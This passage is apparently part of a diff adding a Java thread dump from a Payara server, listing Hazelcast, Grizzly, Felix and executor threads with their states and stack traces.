com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"Reference Handler" #9 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.9/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@21.0.9/java.lang.ref.Reference.processPendingReferences(Reference.java:246) + at java.base@21.0.9/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:208) + +"hz.affectionate_khayyam.scheduled.thread-" #70 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7b09dde7 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"http-thread-pool::http-listener-1(1)" #119 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@d265a9c + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"http-listener-2-expirer(1)" #131 daemon [TIMED_WAITING] on java.lang.Object@3d09d19 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/java.lang.Object.wait0(Native Method) + at java.base@21.0.9/java.lang.Object.wait(Object.java:366) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:148) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"payara-executor-service-task" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5427c2d8 + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"hz.affectionate_khayyam.HealthMonitor" #97 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/java.lang.Thread.sleep0(Native Method) + at java.base@21.0.9/java.lang.Thread.sleep(Thread.java:558) + at java.base@21.0.9/java.util.concurrent.TimeUnit.sleep(TimeUnit.java:446) + at com.hazelcast.internal.diagnostics.HealthMonitor$HealthMonitorThread.run(HealthMonitor.java:163) + +"Notification Thread" #19 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"hz.affectionate_khayyam.partition-operation.thread-3" #76 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"Executor-Service-8" #144 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@38205ea0 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"admin-listener-kernel(1) SelectorRunner" #135 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-6" #39 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@393a5514 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"hz.affectionate_khayyam.partition-operation.thread-6" #79 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"EventAdminAsyncThread #7" #176 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ab86205 + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"hz.affectionate_khayyam.IO.thread-in-0" #105 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.affectionate_khayyam.partition-operation.thread-0" #73 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"RunLevelControllerThread-1785653503580" #48 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@3fb43b09 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"ContainerBackgroundSessionProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[]]" #148 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/java.lang.Thread.sleep0(Native Method) + at java.base@21.0.9/java.lang.Thread.sleep(Thread.java:509) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundSessionProcessorAtomic.run(ContainerBase.java:1903) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"admin-listener-expirer(1)" #134 daemon [TIMED_WAITING] on java.lang.Object@6c4a540c + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/java.lang.Object.wait0(Native Method) + at java.base@21.0.9/java.lang.Object.wait(Object.java:366) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:148) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"FelixFrameworkWiring" #29 daemon [WAITING] on java.util.ArrayList@45bab556 + java.lang.Thread.State: WAITING + at java.base@21.0.9/java.lang.Object.wait0(Native Method) + at java.base@21.0.9/java.lang.Object.wait(Object.java:366) + at java.base@21.0.9/java.lang.Object.wait(Object.java:339) + at org.apache.felix.framework.FrameworkWiringImpl.run(FrameworkWiringImpl.java:169) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"Job Cleanup Service" #55 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@389de04c + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"hz.affectionate_khayyam.migration" #98 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@44d19b40 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at com.hazelcast.internal.partition.impl.MigrationQueue.poll(MigrationQueue.java:48) + at com.hazelcast.internal.partition.impl.MigrationThread.doRun(MigrationThread.java:91) + at com.hazelcast.internal.partition.impl.MigrationThread.run(MigrationThread.java:66) + +"GF Domain XML" #63 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@6ccf3310 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"GF Domain XML" #64 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@6ccf3310 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"hz.affectionate_khayyam.event-1" #91 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7cc51b02 + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.internal.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:227) + +"hz.affectionate_khayyam.partition-operation.thread-2" #75 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.affectionate_khayyam.IO.BalancerThread" #111 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fcd92a9 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at com.hazelcast.internal.networking.nio.iobalancer.IOBalancerThread.run(IOBalancerThread.java:65) + +"Executor-Service-6" #142 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@38205ea0 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-8" #41 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@393a5514 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"hz.affectionate_khayyam.generic-operation.thread-2" #87 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3f477f00 + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"CM Configuration Updater" #165 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e87e38a + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:485) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:673) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:73) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"EventAdminAsyncThread #6" #173 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ab86205 + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"Executor-Service-7" #143 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@38205ea0 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at 